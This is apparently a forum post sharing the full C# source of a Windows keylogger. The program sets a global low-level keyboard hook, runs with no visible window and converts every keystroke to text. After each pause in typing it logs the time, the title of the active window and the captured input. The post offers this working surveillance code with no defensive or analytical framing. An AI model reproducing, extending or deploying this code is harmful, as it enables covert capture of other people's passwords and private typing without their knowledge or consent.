[C#] 纯文本查看 复制代码
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using Timer = System.Threading.Timer;
class Program
{
private static StringBuilder accumulatedInput = new StringBuilder();
private static DateTime lastKeyPressTime = DateTime.Now;
private static readonly object lockObj = new object();
private static Timer timer;
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
public static void Main()
{
_hookID = SetHook(_proc);
timer = new Timer(CheckTime, null, 0, 1000); // 每秒检查一次
Application.Run(new ApplicationContext()); // 使用ApplicationContext来保持应用程序运行，而不显示窗体
UnhookWindowsHookEx(_hookID);
}
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
}
}
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
bool shiftPressed = (GetKeyState(VK_SHIFT) & 0x8000) != 0; // 检查Shift键是否被按下
bool capsLockActive = (GetKeyState(VK_CAPITAL) & 0x0001) != 0; // 检查Caps Lock是否激活
bool isLetter = vkCode >= 0x41 && vkCode <= 0x5A; // 判断是否为字母键
// 尝试转换虚拟键码为字符（考虑修饰键）
StringBuilder charBuffer = new StringBuilder(2);
if (ToUnicode(vkCode, 0, new byte[256], charBuffer, 2, 0) > 0)
{
string keyText = charBuffer.ToString();
lock (lockObj)
{
accumulatedInput.Append(keyText); // 累积输入
lastKeyPressTime = DateTime.Now; // 更新时间
}
}
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
private static void CheckTime(object state)
{
lock (lockObj)
{
if ((DateTime.Now - lastKeyPressTime).TotalSeconds >= 5 && accumulatedInput.Length > 0)
{
Console.WriteLine(DateTime.Now.ToString()); // 输出时间
Console.WriteLine(GetActiveWindowTitle()); // 输出当前活动窗口的标题
Console.WriteLine(accumulatedInput.ToString()); // 输出累积的输入
accumulatedInput.Clear(); // 清除累积的输入
}
}
}
private static string GetActiveWindowTitle()
{
const int nChars = 256;
StringBuilder Buff = new StringBuilder(nChars);
IntPtr handle = GetForegroundWindow();
if (GetWindowText(handle, Buff, nChars) > 0)
{
return Buff.ToString();
}
return null;
}
// P/Invoke声明
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("user32.dll")]
static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
[DllImport("user32.dll")]
private static extern short GetKeyState(int nVirtKey);
[DllImport("user32.dll")]
public static extern int ToUnicode(int wVirtKey, int wScanCode, byte[] lpKeyState, StringBuilder pwszBuff, int cchBuff, int wFlags);
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private const int VK_SHIFT = 0x10;
private const int VK_CAPITAL = 0x14;
}
发表于 2024-3-1 18:04
